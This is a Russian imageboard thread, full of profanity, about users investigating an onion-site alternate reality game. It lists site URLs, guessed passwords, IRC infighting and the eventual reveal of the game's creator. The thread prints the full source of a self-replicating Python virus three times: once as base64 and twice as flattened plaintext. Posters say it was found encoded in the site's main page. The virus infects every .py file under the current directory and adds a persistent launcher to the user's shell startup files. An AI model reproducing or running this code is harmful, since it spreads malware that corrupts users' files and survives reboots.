dGgoIi5weSIpOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIlNraXBwIiwgcGF0aAogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIkluZmVjdCIsIHBhdGgKICAgICAgICAgICAgICAgICAgICBzZWxmLmluZmVjdChwYXRoKQogICAgZGVmIGFkZF9tZShzZWxmLCBwYXRoKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgsICdhJykKICAgICAgICAgICAgZi53cml0ZShjaHIoMTApKyJweXRob24gfi90bXA4LnB5ICYgIitjaHIoMTApKQogICAgICAgICAgICBmLmNsb3NlKCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGlmIHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwcmludCAiQ2FuJ3Qgd3JpdGUgdG8gJXMgZmlsZSIgJSBiYXNocmMKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKCiAgICBkZWYgcnVuKHNlbGYpOgogICAgICAgIGltcG9ydCB0aHJlYWRpbmcsIGluc3BlY3QsIHN5cywgb3MKICAgICAgICBzZWxmLmRlYnVnID0gRmFsc2UKICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICBwcmludCAiVGhyZWFkczoiLCB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCkKICAgICAgICBpZiB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCk+MjoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50ICJUb28gbWFueSB0aHJlYWRzIgogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLm15c2VsZiA9ICBpbnNwZWN0LmdldHNvdXJjZShEKStvcy5saW5lc2VwICsgaW5zcGVjdC5nZXRzb3VyY2UoYV9hKStvcy5saW5lc2VwKyJhX2EoKSIKICAgICAgICAjcHJpbnQgc2VsZi5teXNlbGYKICAgICAgICBzZWxmLndhbGsoIi4iKQogICAgICAgIGlmIG9zLm5hbWUgPT0gInBvc2l4IiBhbmQgc2VsZi5kZWJ1ZyA9PSBGYWxzZToKICAgICAgICAgICAgYmFzaHJjID0gIiVzLy5iYXNocmMiICUgb3MuZW52aXJvblsnSE9NRSddCiAgICAgICAgICAgIHRtcCA9ICAiJXMvdG1wOC5weSIgJSBvcy5lbnZpcm9uWydIT01FJ10KICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHModG1wKSBhbmQgbm90IHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZiA9IG9wZW4odG1wLCAndysnKQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoc2VsZi5teXNlbGYpCiAgICAgICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNhbid0IGNyZWF0ZSB0bXAucHkgZmlsZSIKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgdHJhY2ViYWNrLmZvcm1hdF9leGMoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZShiYXNocmMpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy54c2Vzc2lvbiIgJSBvcy5lbnZpcm9uWydIT01FJ10pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy5wcm9maWxlIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmtzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnpzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmNzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnhpbml0cmMiICUgb3MuZW52aXJvblsnSE9NRSddKQp0ID0gVmlyaWkoKQp0LnJ1bigpIAo=
import threading import random, time, sys, string, inspect, re import os, traceback
class Virii():
def infect(self, path): import os, string #print "Try to infect: %s" % path #if self.debug: # print "Processing: %s" % path nl = os.linesep letters = string.letters if os.path.getsize(path) > 10000000: return False # Skip large files try: f = open(path) file_content = f.read() f.seek(0) except: if self.debug: print traceback.format_exc() return False if "python-vx" in file_content: if self.debug: print "Already infected: %s" % path f.close() return False file_content = "" data = "" i = 0 infected = False #print f f.flush() old_line, old_line2 = "", "" for l in f: i += 1 if i>20 and not infected: if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#": data = data + nl+self.myself+nl infected = True data = data + l old_line2 = old_line old_line = l f.close() if infected: try: f = open(path, "w+") f.write(data) f.close() if self.debug: print "%s Infected!" % path except: if self.debug: print traceback.format_exc() return False
def walk(self, path): import os for root, dirs, files in os.walk(path): for d in dirs: if not d[0]==".": full_dir = os.path.join(root, d) self.walk(full_dir) pass for f in files: path = os.path.join(root, f) if not f.endswith(".py"): pass #print "Skipp", path else: #print "Infect", path self.infect(path) def add_me(self, path): try: f = open(path, 'a') f.write(chr(10)+"python ~/tmp8.py & "+chr(10)) f.close() except: if self.debug: print "Can't write to %s file" % bashrc print traceback.format_exc()
Очень долго не решался запостить что-то в тред. До тех пор, пока сходство пейзажа на этой фотографии с тем, что я регулярно мог лицезреть в детстве, не стало очевидным. Прошло около 7 лет, но я отчетливо помню, как будучи школьником, лазал по высоткам с друзьями. Фотография сделана с одной из них, и осознав этот факт, я, признаться, охуел. Местечко это, примерно в окрестностях Твери. Очень долго преследовало меня ощущение, что я где-то видел этот пейзаж, и собственно вот. Есть еще парочка фоточек, которые кажутся мне до безумия знакомыми, но все же, я не могу припомнить этих мест. Понятия не имею, как эта фотография тут оказалась, и с какого хуя она черно-белая. Если и есть что-то криповое на сайте, то это дерьмо кроется в его графическом содержимом. Сделайте упор именно на него, и мне кажется, что-то у вас выйдет. Удачи в поисках. Постараюсь следить за тредом.
>>280534 И еще кое-что. Многие наверное заметили, что здесь изображены люди. Явно, что пожилые, и все они в капюшонах. Можете зазумить и чекнуть. Понятия не имею, что в темноте делало скопление пожилых сектантов(?), но в разы интереснее тот факт, что эту улицу я тоже прекрасно помню. Она находится недалеко от тех высоток, среди густых деревьев. Напрашивается вывод о том, что какая-то НЕХ творится в той области, и автор этих пикч, стремился на это указать. Фотографии старые, как и весь тот район, собственно. Думаю, что они были сделаны еще до того, как я там появлялся ИРЛ. Надеюсь, что смог чем-то помочь.
>>280548 Не отрицаю того, что мне могло показаться это. Сути, наверное, не меняет. Там куча каких-то людей, которые хуй пойми чем занимаются, посреди ночи.
>>279954 >Команда TDC расчитала что это число - количество секунд, которое осталось до 2 января 2016 года Shi-i-i-i... Значит, это реально Игра сделал мне предсказание о 201 дне оставшемся до конца года..?
>>280472 Вы там в своим IRC'е решили запатентовать всё, что найдёте? Или хотите там Тихтй Дом найти и там в группе немногочисленной сдохнуть? Или будете нас говном кормить и крипипасты пилить, если ничего не найдёте?
>>280541 По моему, там нет капюшонов. Кажется, это Флитвик, антропоморфный кролик и сам Иисус Дристос, спаситель трапиков sup /wr/, ну Сплинтер, короче.
>>280554 > решили запатентовать есть в TDС особо ортодоксальные личности. да и найденный свод правил (выше) запрещает всё выкладывать ньюфагам. kuko играет с нами - мы играем по его правилам.
>>280555 Бля, ну кем ты себя возомнил? Нахуй тогда этот тред, ебите друг друга в жепы в своём манямирке. >Анон, смотри какой сайт криповый, скока тайн, мы ломаем, вскрываем тему, но постить сюда не будем, патумушта мы из 7б, у нас свой клан кулхацкиров тип, там тип правила, если я нарушу то палачкин попабава и тульпа выебут меня в сракатан и все отродоксальные личнасте илита бля
>>280599 Аноны, я вас прошу. Не вкидывайте инфу тут, кидайте её на закрытом irc-канале. Вы rules.html не читали? Инфа в паблике - сайт изменится или вообще нить оборвется, прошу
>>280602 Блять, это сайт. САЙТ. ДАже не обосаные смертельные файлы, какой нахуй список правил? Типа Пепал из монитора вылезет при попытке открыть нам тайны этого хранилища аниме-пикч и прона, и утопит их спермой?
>>280610 Ты блять даун? Если будет инфа о сайте, просто начнут исчезать файлы и вообще сайт. Второй сайт отвалился, как всем распиздели про него. Висела страница 404 и мы сосали хуй, хорошо, что нашли обход и в итоге страницу вернули
>>280614 Один обход нашли, значит второй найдётё. Страдайте. Никому этот сайт нахуй не нужен будет, если вы все сдохните, а мы получим охуенную историю уровня Смертельных файлов и охуенное .mp4, а так хоть на ананасов попиздеть сможете.
>>280602 Я вот хуею. Если Анон найдёт какую-нибудь крипоту, даже если рядом написано будет не вскрывай эту тему не создавай тред об этом, не рассказывай ньюфагам. Он возьмёт блять и создаст тред и всем все расскажет. А тут что? Какие-то правила блять, ну тут даже тупому опездолу ясно, что крипоты нет никакой, просто интересно что вы нароете, или интересные взаимосвязи элементов сайта или ещё чего. Это же just for lulz. А олдфагам можно знать? Как ты проверять будешь кто олдфаг а кто нет. Все ньюфани в би сидят еот фап и оцени тян треды плодят, переодически, крутя рулеточку. И нахуя делать тред, если делиться инфой нельзя? СУКА ТУПАЯ
Я понял. Показатель олдфажности - это умение скачать IRC. Типа школьники проблюются с интерфейса и пошлют всё нахуй, а не школьники...ну, э-э-э... да похуй на них, пусть тоже подрочат на лоли.
>>280618 Двачую. Мы молчим только потому, что играем по правилам kuko. Разве принято делиться половиной выигрыша в казино с тёлкой, которая подошла к тебе на последнем раунде? Вот так и мы с впечатлениями и эмоциями.
Тред начинался хорошо, но этот дебил со своим IRC доебал. Такое ощущение, что это студент перво- второкурсник, страдающий от недостатка внимания. Какой шанс того, что инфа эта расползется в соседний тред? Почти нулевая. Другой раздел? Пошлют нахуй оттуда. Пните в своем канале эього неугомонного и держите нас вкурсе.
>>280632 Предпочитаю писать анонимно. Гораздо веселее будет потом сидеть с тобой, зная что ты подозреваешь всех. тебя вобще никто всерьез не воспринимает.
>>280659 Да. хххххх.ххххх Tio estas via persona pasvorton por aliri la kvieta domo. Ne donu ĝin al neniu. Ne diru ke vi jam ricevis vian pasvorton. Memoru la reguloj. Pasvorto: хххххххххххххххххххх
А ты и дальше пароль от кота проси. ну тыпонял да ?
import threading import random, time, sys, string, inspect, re import os, traceback
class Virii():
def infect(self, path): import os, string #print "Try to infect: %s" % path #if self.debug: # print "Processing: %s" % path nl = os.linesep letters = string.letters if os.path.getsize(path) > 10000000: return False # Skip large files try: f = open(path) file_content = f.read() f.seek(0) except: if self.debug: print traceback.format_exc() return False if "python-vx" in file_content: if self.debug: print "Already infected: %s" % path f.close() return False file_content = "" data = "" i = 0 infected = False #print f f.flush() old_line, old_line2 = "", "" for l in f: i += 1 if i>20 and not infected: if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#": data = data + nl+self.myself+nl infected = True data = data + l old_line2 = old_line old_line = l f.close() if infected: try: f = open(path, "w+") f.write(data) f.close() if self.debug: print "%s Infected!" % path except: if self.debug: print traceback.format_exc() return False
def walk(self, path): import os for root, dirs, files in os.walk(path): for d in dirs: if not d[0]==".": full_dir = os.path.join(root, d) self.walk(full_dir) pass for f in files: path = os.path.join(root, f) if not f.endswith(".py"): pass #print "Skipp", path else: #print "Infect", path self.infect(path) def add_me(self, path): try: f = open(path, 'a') f.write(chr(10)+"python ~/tmp8.py & "+chr(10)) f.close() except: if self.debug: print "Can't write to %s file" % bashrc print traceback.format_exc()
def run(self): import threading, inspect, sys, os self.debug = False if self.debug: print "Threads:", threading.active_count() if threading.active_count()>2: if self.debug: print "Too many threads" return False self.myself = inspect.getsource(D)+os.linesep + inspect.getsource(a_a)+os.linesep+"a_a()" #print self.myself self.walk(".") if os.name == "posix" and self.debug == False: bashrc = "%s/.bashrc" % os.environ['HOME'] tmp = "%s/tmp8.py" % os.environ['HOME'] if os.path.exists(tmp) and not self.debug: pass else: try: f = open(tmp, 'w+') f.write(self.myself) f.close() except: if self.debug: print "Can't create tmp.py file" print traceback.format_exc() else: self.add_me(bashrc) self.add_me("%s/.xsession" % os.environ['HOME']) self.add_me("%s/.profile" % os.environ['HOME']) self.add_me("%s/.kshrc" % os.environ['HOME']) self.add_me("%s/.zshrc" % os.environ['HOME']) self.add_me("%s/.cshrc" % os.environ['HOME']) self.add_me("%s/.xinitrc" % os.environ['HOME']) t = Virii() t.run()
>>280673 Вам не заебалось заниматься этой хуйней? Доходите до тех вещей, до которых уже дошли два дня назад аноны из ИРКи, и радуетесь как дети. Хотите помочь делу? Вкатывайтесь туда. Не смешите народ.
Да, мы собрали при помощи двача небольшую устойчивую группу интересующихся и начали копать этот сайт. И теперь основная деятельность, связанная с сабжевым сайтом перенесена в IRC. Двач мы воспринимаем, в лучшем случае, как второстепенную площадку для привлечения новых участников. Вот так все просто: нашей группе в IRC комфортнее, чем здесь. Поверьте, на то есть свои причины. Одни из них: в Ирке легко вводится ценз адекватности. Те, кто считают, что IRC - это второй сосач и там можно траллить лалок и ебать мамок - выпиливаются.
Те, кто говорят, что нам не дают выкладывать инфу какие-то правила и что сайт закроется, просто вас траллят. И не надо этих обиженных воплей: аноны не делятся с другими анонами! Пиздец! Вниманиеблядство! Илитизм! Ко-ко-ко! Мне вот инетересно, почему вы считаете, что с вами кто-то должен чем-то делиться? Чего вы ждали? Анонимной солидарности? Лично мне на вас похер. Мы просто на вас забили.
Из IRC никого просто так не кикают. Адекватных новичков принимают вполне дружелюбно. Ну и конечно же, у нас там своя тамосфера. Куда же без нее?
Будет лучше, если мод закроет этот тред. Надобность в нем отпала.
>>279954 Няши, меня очень заинтересовали ваши материалы по разбору этого сайта, но сейчас у меня сессия в разгаре, а потом я пару недель буду сидеть без интернетов. Можно будет к вам в ирку закатиться, но не сейчас, а чуть позже (к середине июля примерно)? Я, если что, бывший верун и хорошо знаю Библию, думаю, смогу вам помочь с расшифровкой отсылок на неё, которые, как я вижу, вы нашли.
>>280839 1. Ортодокслаьная версия: потому что он проводил жёсткую селекцию, чтобы евреи были достойны породить Христа. 2. Гностическая версия: потому что бог ВЗ - злой Демиург, а бог НЗ - добрый Христос. 3. Не такой-то он и няшка в НЗ: требует отринуть всё и идти за ним, выпиливает людей, отказавшихся отдать своё имущество церкви, кидает пафосные фразы вроде "Я есть путь и истина и жизнь, никто не приходит к Отцу, кроме как через меня". К тому же в НЗ упомянут непростительный грех, да и вообще.
>>280841 "н изъязвлен был за грехи наши и мучим за беззакония наши; наказание мира нашего было на Нем, и ранами Его мы исцелились." (Исайя 53:5). Взял на себя грехи мира, вот это всё.
>>280844 Не понимаю, грехи - это вина перед Богом? Зачем Богу делать своего сына живым, чтобы потом его убить и простить себе же ошибки своих же созданий? Он не мог просто простить людям грехи, не?
>>280846 Православная церковь учит, что первородный грех - сорт оф инфекция, лекарство от которой - кровь Христа. >>280847 В законе ВЗ это возможно. Все эти ветхозаветные жертвоприношения во искупление грехов - ягнят, горлиц, козлов - являются, согласно учению РПЦ, прообразом жертвы Христа. Притянуто за уши, согласен. Это одна из причин, по которым я отказался от религии, когда поумнел.
>>280844 Алсо, зачем Бог создал людей? У него уже были ангелы - они были подобны Богу и уже обладали свободой воли (тот же Люцифер). Люди это по сути менее совершенные ангелы из мяса и с необходимостью поддерживать в них жизнь.
>>280849 >Алсо, зачем Бог создал людей? Многоходовочка же. Нет, серьёзно, Библия на этот вопрос не отвечает, говорит только, что человек должен владычествовать "над рыбами морскими, и над птицами небесными, и над зверями, и над скотом, и над всею землею, и над всеми гадами, пресмыкающимися по земле" (Бытие, 1:26). >с необходимостью поддерживать в них жизнь. Согласно Библии, человек до грехопадения не болел и не умирал.
>>280852 >Согласно Библии, человек до грехопадения не болел и не умирал. Так вроде Бог его заряжал своим духовным фалосом, а потом перестал это делать и Адам умер через пару тысяч лет, не?
>>280851 >Мда, ну и ты правда шаришь Спасибо. По специальности я студент-медик, может, мои познания в этой сфере вам тоже пригодятся. Ну так я закачусь к вам в июле, вы закукливаться на пароль не собираетесь?
>>280854 >Так вроде Бог его заряжал своим духовным фалосом Нет. Он просто был бессмертен и здоров, как стадо альфачей, и при этом был голым и не стыдился, что бы это ни значило. >и Адам умер через пару тысяч лет Через 930, если быть точным. Библейский рекорд долголетия - 969 лет (Мафусал, прапрапрапраправнук Адама).
>>280863 Да. А ещё Бог его проклял, заявив, что он в поте лица своего будет есть хлеб, обрабатывая землю, которая породит сорняки (Бытие, 3:19). А ещё Бог боялся конкуренции: "И сказал Господь Бог: вот, Адам стал как один из Нас, зная добро и зло; и теперь как бы не простер он руки своей, и не взял также от дерева жизни, и не вкусил, и не стал жить вечно." (Бытие, 3:22).
>Зачем Бог создал человека Бог - рептилоид, который вывел расу людей как рабов без свободной воли, чтобы они ему подчинялись. Люцифер - его тян-хипсторша, которая считала разведение мутантов-рабов негуманным и дала Адаму и Еве генный павер-ап, "дающий знания и делающий их равными богу". Бог разозлился и съебал на планету Нибиру, а телку-хипсторшу бросил здесь.
>>280860 >>280865 Адам был сотворен бессмертным, грех его заразил и передался потомкам. Кровь Иисуса искупила грех человеческого рода. Почему тогда люди не стали идеальными и бессмертными снова?
>>280624 Да похуй уже, первое время тред вызывал интерес, пока не набижали два кулхацкера с манией преследования и мыслями про игру и заговоры. Закрылись анально в IRC я ебутся там в жопы, сюда инфу не сливают потому что с ними играют блять в реалтайме, каким нужно быть объебосом что бы в это поверить. 404 у них там было блять, ага, сидит владелец сайта и двачует тут овер дохуя времени в надежде, что кучка обмудков таки заметит его сайт, что бы играть с ним в игру, я охуеваю блять. Тупо из-за пидоров тред скатили в "мы там шепчимся в ирц, тайна пиздец, вселенский заговор, игры разума - а вы идите нахуй". Тупые уебки, типо если тут спалят все, то что мешает вас спалить в IRC? Короче идите нахуй с этим тредом, ебитесь в жопы там.
>>280943 Уже и сомнения не вызывает, что анон-хозяин ARG русскоязычен Более того, весьма вероятно, что он - один из анонов с канала Если кто заинтересован - входите и присоединяйтесь, не обращайте внимания на срачи в треде Пока что временное затишье, ожидаем окончания обратного отсчёта
Ребят зашёл в комнату с паролем, взяв ключ anna:anna мне написали что пользователь мёртв, ну ОК. Дальше зашёл в комнату с паролем, используя ключ nino:kuko, мне написали что нужно знать правила и заходит в нужную дату. Так вот кто-нибудь уже разгадал в какое время и когда можно войти на закрытую страничку?
>Если кто заинтересован - входите и присоединяйтесь, не обращайте внимания на срачи в треде
А потом как бы не сразу он вас пидорнет с канала за ридонли. Типа в канале собралась ШАРЯЩАЯ ИЛИТА и ебут друг друга в жопы не дает смертным никакой информации. Идите нахуй.
>>281067 Там одна ебанутая личность и скоро она останется в гордом одиночестве, на ходу придумывая себе новые правила. Ирк канал это отражение нашего общества. Сходите и посмотрите как обсуждали cicada 3301 и сравните с этим тредом или с ирк-каналом. Сначала мне казалось что там команда собралась. Потом я покинул канал. Сейчас же вообще мне кажется, что иметь дело с ними некомильфо. Есть по жизни ущербные люди, которые могут подвести не к месту.
>>281151 Ты дурак что-ли? Ты либо учавствуешь в чём-либо, либо нет! К примеру футбол. Ты либо играешь в него, либо ты пидарас ридонли. И никак по другому. Понял?
>>281157 Да уж вроде всё обсосали в этом треде. То, что я раскопал (ZX, частоты) вы нигде не использовали (хотя частоты сами по себе интересны - о них отдельный разговор). Ридонли сидеть вроде как нельзя. Ущербным звеном в проекте быть не охота. Сидеть рядом с людьми, которые к вновь пришедшим (а вы о них НИЧЕГО не знаете!) относятся также, как и к той заблудшей Амнезии, которую забанили и кикнули? Тычки эстодинанона "ты что сделал, а ты что сделал, ебланы!" мне не нужны. Атмосферы там нет -> Интерес угас.
>>281183 Да я сюда отвечу. У меня секретов нет. Возможны три реальных варианта применения этого списка. В порядке возрастания сложности реализации: 1. Это всего-навсего бутафория. Просто список цифр добавленный для понта, который ничего общего с радиосвязью (в его понимании) не имеет (или имеет, но опосредовано, косвенно). Тем не менее для меня это явные частоты - от 3МГц до 30МГц КВ(целые числа) и 2м\70см участки (большие дробные числа). И на них в любом случае возможна связь. 2. Частоты из журнала SWL какого-нибудь. Возможно он сам слушает эфир (сам является SWL, как и я) и просто записывал интересное в этот файл. В таком случае никакой смысловой нагрузки данный список в контексте нашей АРГ не имеет. 3. Высший пилотаж. АРГ использует радиосвязь в одном из своих уровней. Это был-бы ваще кайф! Чудо чудес! число технически, есть аппараты, которые перекрывают (в раскрытом состоянии) весь вышеупомянутый список (с оговорками!). К примеру Yaesu FT-857 может или SDR какой. Не проблема и пару аннтенн поставить на КВ и УКВ. Он 100 Вт на КВ отдает и им можно покрыть сигналом весь земной шарик. Участки не радиолюбительские, а какие попало. Так и отдельно аппараты на разные бэнды использовать можно. Ну, в любом случае, на УКВ покытие сигналом будет пара десятков километров. Да и плюс ко всему, неизвестно время вещания. Частоты подобраны интересно, реальная радиосеть будет работать в такой сетке на ура. Есть куча каналов под любое время суток. В любом случае я буду их мониторить!
>>280279 Только влился в тред. Полазил по ссылкам и вот как я понял смысл сайта - действите ведётся на трёх языках эсперанто, японский, латынь и фраза на хорватском хорватского. Существует какое-то сообщество нино, главная задача которых найти кого-то. На сайте куча всяких разделов с книгам и картинками, а главный раздел сайта - лаб, для которого нужен логин, у этого раздела есть список правил, которые оказались хуетой о тихом доме и типо достигнув 10 лвла допуска члену нино дают какую-то расшифрованну библию и он исчезает из интернета, но ни слова про то, кого надо найти. И, кстати, есть ещё ссылка, котору я не заметил в треде http://ninoetevzx2irhgj.onion/static/ где написано слово закрыто, а в исходном коде >Laboratorio trovi ilin что можно перевести как лаборатория найти их, это походу про раздел лаб.
Фраза на хорватском переводится как "вы знаете где остальные правил" ? Кто-нибудь знает о каких других правилах речь?
>>281382 Еврей не при делах, с его слов: -Я в чат написал: "СТОП". Потом кто то у kkk спросил по какому он поводу набухался. kkk ответил: "Да просто так)". И потом я ему ответил: "Я так и знал". И ккк подумал, что я имею ввиду про игру А не про то что он набухался
>>281382 Объясните уже все, раз так. 5 местных хуев сделали сайт-игру, вбросили сюда и анон начал играть, сколько играло-то человек не из числа тех, кто имел отношения к созданию? Ну, не просто зашли потыкали пару раз, а задрачивались?
>>281386 это сделал один человек меня, криша и еврея причисляют зря. Мы это спалили только вчера вечером. Я например был за продолжение, в конце концов это можно было вывести в некие легенды снача лол. Мы втроем(я,еврей,криш) до этого так же как все задрачивались. У меня за пять дней недосыпа появились мешки под глазами лол вот так как то
На самом деле я ахуенно провел время с вами. Хоть чем то запомниться это лето) Жаль конечно, что все закончилось вот так. Но я к этому был изначально готов так как уже не раз участвую в АРГ. Пора бы уже понять, что дибвеба, тихого дома и прочей паронормальщины попросту не существует. Спасибо kkk12 за эту прекрасную АРГ. Еврей
>>281440 >все закончилось вот так. Но я к этому был изначально готов так как уже не раз участвую в АРГ. >Пора бы уже понять, что дибвеба, тихого дома и прочей паронормальщины попросту не существует. >Спасибо kkk12 за эту прекрасную АРГ. >Еврей
Да я тоже повеселился. Жалко некоторые загадки были слишком сложные и мне приходилось подсказывать =)
>>281673 его заебало, атвичаю))) вбрасывал все больш инфы а ленивые хуи в канале сами ничего не копали решил по петросянить тайным агентом и по угарать над нубасами)))))
>>281737 Они там долго не выдержали и перекатились в уютные чатики с пикчами Вообще говоря слив автора правда был каким то навязчивым. Особенно учитываю херню prosto в приват некоторым что они прошли ступень и должны прислать инфу на мыло
мне до сих пор кажется что эстодианон был вместе с ккк и просто. слишком шустро они слили всю игру и разогнали людей из канала а копии библии ушли тем кто ввел по тихому и не выпендривался но это уже другая история
>>282111 > а так было подстроено. Говорилось про 5 человек, а вы начали менять правила игры. Это не интересно. >
Никто ничего менял. Всю игру делал я, поэтому и правила мои. Библию я собирался высылать на почтовый адрес. Почтовый адрес ввел только один человек. Остальные не осилили английский язык.
>>282686 да ебать, это ж нисталкеры, еблись друг с дружкой в канальчике. все вместе пытались sn наебать, только вот разводки хуёвые. уровни блять, библия блять, тихого дома нахуй, дауны.
>>282692 >все вместе пытались sn наебать что долбоёб чтоле? Чем мы вас наебать пытались? Инфа по сайту тру, а всё испортил ккк12, преждевременно захохотав и сорвав всю игру, хотя мы могли бы ещё немного
Ого как всё повернулось, я даже не ожидал. Жаль конечно что квест закончился, даже если это всё и был театр одного актера то мне очень понравилось. Командный дух, тайны, интриги, расследования...
Пиздос, перечитал весь тред, так и не понял что произошло. Что это был за сайт? Что еще за игра? Что за ккк12 и с чего вдруг решили, что он - создатель этого всего? Поясните плз.
Infanoj ne devus malfermi la temon. Vi estas juna, ludema, vi ĉiuj facila. Ne estas tiel. Ne estas Chikatilo aŭ eĉ arkivoj de specialaj servoj. Pli bone ne iri. Serioze, neniu el vi cxagrenas. Pli bone apudela temo kaj forgesas kio estas skribita. Mi plene komprenas ke la datumoj mesaĝon alvoko plian intereson, sed mi rapidos averti esplorema - halti. Aliaj simple ne trovos.
>>294878 >Дети не должны открыть тему. Вы молодой, >игривый, все из вас просто. Это не так. Это >не Чикатило или даже файлы из спецслужб. >Это лучше не идти. Серьезно, никто из вас не >будет жаль. Лучше условии apudela и забыть >то, что написано. Я полностью понимаю, что >вызов сообщение данных дополнительные >проценты, но я спешу предупредить >любознательный - остановиться. Другие >просто не найти
Вы не задумывались раньше, кто мог создать Великий мир? Он в изобилии насыщен прекрасной красотою див, прекрасными цветами света и ровно той же темнотой, страданьем, болью от разрыва, прекрасных утром, страшных днём, созданий бога полудумья, созданей мысленных границ, как много в этом бренном мир кому-то нужных единиц.
>>280307 первая пикча это скрин из видео, как-то давно смотрел по телику передачу, про снежного человека типа, вот там было это видео.В чем суть видео, слева от этого чувака темнота - там и пройдет этот "снежный человек" а справа купается в воде его братва.Если кому интересно было или пригодиться )
Меня не было 2 месяца, у меня умерли все жесткие диски одновременно. Не знаю, что это за хуйня, но потратил тысяч 30. Как вы тут, как вы пережили мою пропажу?
Помимо прочего, на сайте были найдены страницы, по внешнему виду напоминающие форму входа в админку или в другой раздел сайта, защищенный от посторонних кодовым словом. Получить доступ в указанные разделы до настоящего времени не удалось. Несколько дней назад ссылка на сайт всплыла вновь и некоторые аноны решили заняться этим сайтом вплотную.
Что известно на данный момент:
1. Сайт состоит из набора каталогов и файлов, содержание которых на первый взгляд может показаться рандомным. Помимо "криповых" фото были найдены обои для рабочего стола, вирус написанный на языке Python, книги по разработке для Web'а и даже по магии;
2. На большинство каталогов сайта нет ссылок на его страницах;
3. Некоторые каталоги были найдены методом тыка;
4. Сейчас известно о трех страницах, на которых есть форма для ввода пароля и одной странице, предназначенной для ввода поисковых запросов;
5. На сайте много текста на языке эсперанто (как в исходниках страниц, так и в их содержимом).
Для анализа сайта была собрана команда (самоназвавшаяся TDC) на IRC канале.
Из интересного (но не всего что нашла команда TDC):
Исходный код главной страницы сайта содержит закодированый вирус на языке python.
Не взломанная пока страница с логином: http://ninoetevzx2irhgj.onion/lab/
Вторая страница требующая пароль - https://ninoetevzx2irhgj.onion/lab/ag~1/
(на данный момент подобраны варинты - root:root, admin:admin, oleg:oleg)
В случае ввода admin:admin выдается число. Команда TDC расчитала что это число - количество секунд, которое осталось до 2 января 2016 года. До чего именно ведет отсчет счетчик - остается загадкой.
В случае ввода root:root - выдается текст - la uzanto malebligita provizore
http://ninoetevzx2irhgj.onion/lab/ag~1/0/ - интерфейс поиска по какой-то базе. К сожалению на все запросы выдает один и тот же текст -
"La datumbazo ne estas havebla ĉe la momento. Ne forgesu ke la datumbazo estas havebla nur por trankviligi la domon en momento donita. Bonvolu ne uzi la datumbazon por aliaj celoj. "
http://ninoetevzx2irhgj.onion/lab/ag~1/data - страница выдает набор чисел, который перидически меняется.
Исходный код страницы - "Data: <radio-data> [-4] [275] [6] [1008] [16] [3393] [50] [10857] [156] [33592]</radio-data>"
http://ninoetevzx2irhgj.onion/kuko/ - странная страница с логотипом в форме буквы Н с точками
http://ninoetevzx2irhgj.onion/lab/ag~1/0/nino
http://ninoetevzx2irhgj.onion/files/ - разные файлы, картинки, фото (видимо свалка)
http://ninoetevzx2irhgj.onion/malleus/ - скан старой книги
http://ninoetevzx2irhgj.onion/lab/8/ - криповые фото
http://ninoetevzx2irhgj.onion/kuko/misc/ - еще криповые и не только фото
http://ninoetevzx2irhgj.onion/files/research/l~1/rec-data~p0/res/ - куча .bin файлов с непонятным содержанием.
http://ninoetevzx2irhgj.onion/lab/w/
https://ninoetevzx2irhgj.onion/lab/k/
https://ninoetevzx2irhgj.onion/index.htm
http://ninoetevzx2irhgj.onion/lab/1/p.txt - логины
И это далеко не все, что уже удалось раскопать.
Внимание, анон!
Если хочешь помочь в раскопке данного лукового сайта - внимательно смотри исходный код страниц, во многих из них есть информация которая может помочь.
p.s. Для просмотра сайта из обычного интернета добавляйте после .onion .to, например:
https://ninoetevzx2irhgj.onion.to/